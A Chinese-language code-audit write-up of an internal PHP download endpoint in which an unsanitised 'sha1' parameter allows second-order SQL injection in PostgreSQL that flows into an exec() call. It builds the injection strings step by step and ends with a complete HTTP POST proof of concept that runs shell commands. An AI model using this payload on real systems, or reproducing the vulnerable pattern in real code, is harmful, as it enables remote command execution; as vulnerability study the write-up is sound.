最近在做内部产品的代码审计,发现一处有趣的地方,我把关键代码提取出来,供大家学习思路
<?
if(array_key_exists('type',$_REQUEST)){
$type = $_REQUEST['type'];
}
if(array_key_exists('sha1',$_REQUEST)){
$sha1 = $_REQUEST['sha1'];
}
function get_report($sha1)
{
global $dbo;
$report_xml = '';
$sql_command = "select parentsha1,report from ll_result where sha1='$sha1'";//albert
$rs = $dbo->query($sql_command);
if($rs!= false){
$row =$dbo->fetchAll($rs);
//echo count($row);
//print_r ($row);
$find_parent_empty =0;//0 not empty, 1 empty
if($row !=false){
for($i=0;$i<count($row);$i++)
{
if($row[$i]["parentsha1"] == null || trim($row[$i]["parentsha1"]) == '')
{
if($row[$i]["report"]!=null && $row[$i]["report"]!=''){
$report_xml = $row[$i]["report"];
}
$find_parent_empty =1;
break;
}
}
if($find_parent_empty ==0)//parentsha1 in tb_sandbox_result is not empty
{
//$sha1_parent = $row[0]["parentsha1"];
$sha1_parent_group ="";
for($i=0;$i<count($row);$i++)
{
if($i==0)
$sha1_parent_group ="'".$row[$i]["parentsha1"]."'";
else
$sha1_parent_group = $sha1_parent_group.",'".$row[$i]["parentsha1"]."'";
}
$sha1_parent_group = "(".$sha1_parent_group.")";
$sql_command = "select report,sha1 from ll_result where sha1 in ".$sha1_parent_group." and (parentsha1 IS NULL or parentsha1= '') limit 1";//albert
$rs = $dbo->query($sql_command);
if($rs!= false){
$row =$dbo->fetch($rs);
if($row["report"]!=null && $row["report"]!=''){
$report_xml = $row["report"];
global $sha1;
$sha1 = $row["sha1"];
}
}
}
}
}
return $report_xml;
}
if($sha1 != ''){
//get report
$report_xml = get_report($sha1);
if($report_xml == ''){
return '';
}
if($type === "downloadxml"){
$xml_filename = $sha1.'.xml';
$zip_filename = $sha1.'.zip';
$content=add_href($report_xml);
$fh = fopen($xml_filename, 'w') or die("can't open file");
//echo "write xml";
fwrite($fh, $content);
fclose($fh);
header("Content-type: application/octet-stream");
header("Content-disposition: attachment; filename=$zip_filename");
@exec("zip -j $zip_filename $xml_filename");
//@exec("zip -j $zip_filename $xml_filename xslt_style.xls");
readfile($zip_filename);
unlink($zip_filename);
unlink($xml_filename);
return;
}
}
首先这个文件接受两个参数,一个type,一个是sha1
当sha1不为空的时候,那么就会先进入到get_report这个函数中,并且把sha1传递进去,可以看的sha1没有过滤就直接进入到了sql语句中,注意数据库是PostgreSQL,sql语句是:
select parentsha1,report from ll_result where sha1='$sha1'
由于ll_result没有任何数据,为了让后面的$rs不为空,所以$sha1要传入' union select '1','2
,所以查出来的parentsha1为1,report为2,而parentsha1又被传入到下面的sql语句中
select report,sha1 from tb_sandbox_result where sha1 in ".$sha1_parent_group." and (parentsha1 IS NULL or parentsha1= '') limit 1"
这里就是一个二次注入了,由于$sha1_parent_group是从parentsha1而来,所以,要在parentsha1中放入一个单引号,而PostgreSQL对单引号的转义是两个单引号,而且为了让后面的$rs不为空,并且让第二次查询出来的$sha1可控,所以,注入语句为
1' union select '1'') union select ''222'',''333''--','2
而查询出来的$sha1最后拼接到exec函数中去执行了系统命令,所以,最后的注入语句是
1' union select '1'') union select ''222'','';echo%201111>xixixi.txt;''--','2
注入后第一次查询的sql语句是:
select parentsha1,report from tb_sandbox_result where sha1='1' union select '1'') union select ''222'','';echo 1111>xixixi.txt;''--','2'
查出来的parentsha1为
1') union select '222',';echo 1111>xixixi.txt;'--
查出来的report为:2
注入后第二次查询的sql语句是:
select report,sha1 from tb_sandbox_result where sha1 in ('1') union select '222',';echo 1111>xixixi.txt;'--') and (parentsha1 IS NULL or parentsha1= '') limit 1
查询出来的report是:222
查询出来的sha1是:
;echo 1111>xixixi.txt;
最后的poc是
POST /php/test.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 110
type=downloadxml&sha1=1' union select '1'') union select ''222'',''/etc/passwd;echo%201111>hehehe.txt;''--','2